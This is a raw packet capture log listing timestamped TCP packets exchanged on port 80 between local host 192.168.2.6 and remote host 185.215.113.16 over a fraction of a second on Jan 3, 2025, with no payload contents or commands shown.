Jan 3, 2025 15:21:27.019263983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019274950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019285917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019287109 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.019315958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.019423962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019434929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019444942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019471884 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.019488096 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.019582033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019599915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019613981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019625902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019635916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019645929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019655943 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.019658089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019669056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019680977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019680977 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.019690990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019702911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019712925 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.019712925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019725084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019736052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.019745111 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.019762993 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.019777060 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.035988092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036009073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036020041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036050081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036061049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036079884 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036081076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036104918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036111116 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036128998 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036130905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036142111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036159992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036173105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036200047 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036238909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036256075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036267996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036277056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036288023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036298990 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036325932 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036448956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036533117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036544085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036555052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036566019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036576986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036577940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036588907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036591053 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036603928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036631107 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036637068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036648035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036667109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036670923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036684990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036695004 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036703110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036714077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036722898 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.036725998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.036746025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.039235115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039258003 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039269924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039304018 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.039334059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.039375067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039386988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039407969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039423943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039429903 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.039436102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039448023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039458036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039468050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039474964 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.039479017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039499044 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.039516926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039546013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039556980 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.039561033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039577961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039587975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.039616108 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.039644003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.108694077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108736992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108761072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108783007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108798027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108813047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108827114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108860016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108902931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108916044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108916044 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.108928919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108943939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108958006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108961105 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.108972073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.108983994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.108994007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109008074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109020948 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109021902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109052896 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109241009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109348059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109373093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109394073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109407902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109417915 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109421968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109435081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109447002 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109477997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109482050 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109492064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109508038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109532118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109546900 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109553099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109587908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109591961 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109603882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109618902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109632969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109658957 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109678030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109690905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109704971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109719038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109735966 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109760046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109775066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109790087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109828949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109832048 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109839916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109864950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109884024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109900951 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109905005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109935045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109950066 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.109952927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109972000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109987020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.109999895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110013008 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110014915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110027075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110039949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110049963 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110054016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110066891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110071898 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110081911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110095024 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110095978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110111952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110125065 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110126972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110148907 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110276937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110320091 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110326052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110343933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110357046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110390902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110399008 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110404015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110418081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110424042 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110431910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110455990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110460043 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110491991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110498905 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110505104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110526085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110543966 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110547066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110562086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110574961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110599995 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110618114 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110620975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110645056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110660076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110672951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110687971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110696077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110702991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110722065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110727072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110737085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110745907 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110752106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110764027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.110765934 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.110790014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.111443043 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.126976013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127011061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127021074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127067089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127079010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127088070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127090931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127126932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127130985 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127142906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127159119 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127170086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127175093 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127181053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127213955 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127218962 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127230883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127242088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127252102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127260923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127294064 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127367973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127393007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127437115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127448082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127480030 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127494097 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127496958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127506971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127516985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127541065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127557039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127557993 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127574921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127579927 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127590895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127600908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127614021 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127619028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127629995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127640009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127640963 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127645969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.127670050 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.127705097 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.130283117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130295992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130321980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130333900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130343914 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130367994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130378008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130382061 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.130388975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130412102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130415916 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.130422115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130428076 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.130430937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130448103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130459070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130459070 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.130481958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.130491018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130501986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.130537987 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.199820995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.199892044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.199907064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.199930906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.199951887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.199955940 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.199989080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.199995041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200004101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200018883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200032949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200037956 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200047970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200061083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200067043 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200077057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200092077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200093985 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200107098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200117111 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200120926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200151920 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200190067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200212002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200249910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200254917 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200376034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200391054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200429916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200436115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200445890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200462103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200474977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200489998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200490952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200503111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200515032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200530052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200553894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200565100 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200568914 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200582981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200588942 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200618029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200632095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200633049 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200664997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200670004 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200679064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200714111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200735092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200750113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200758934 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200764894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.200772047 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.200794935 CET	80	49829	185.215.113.16	192.168.2.6
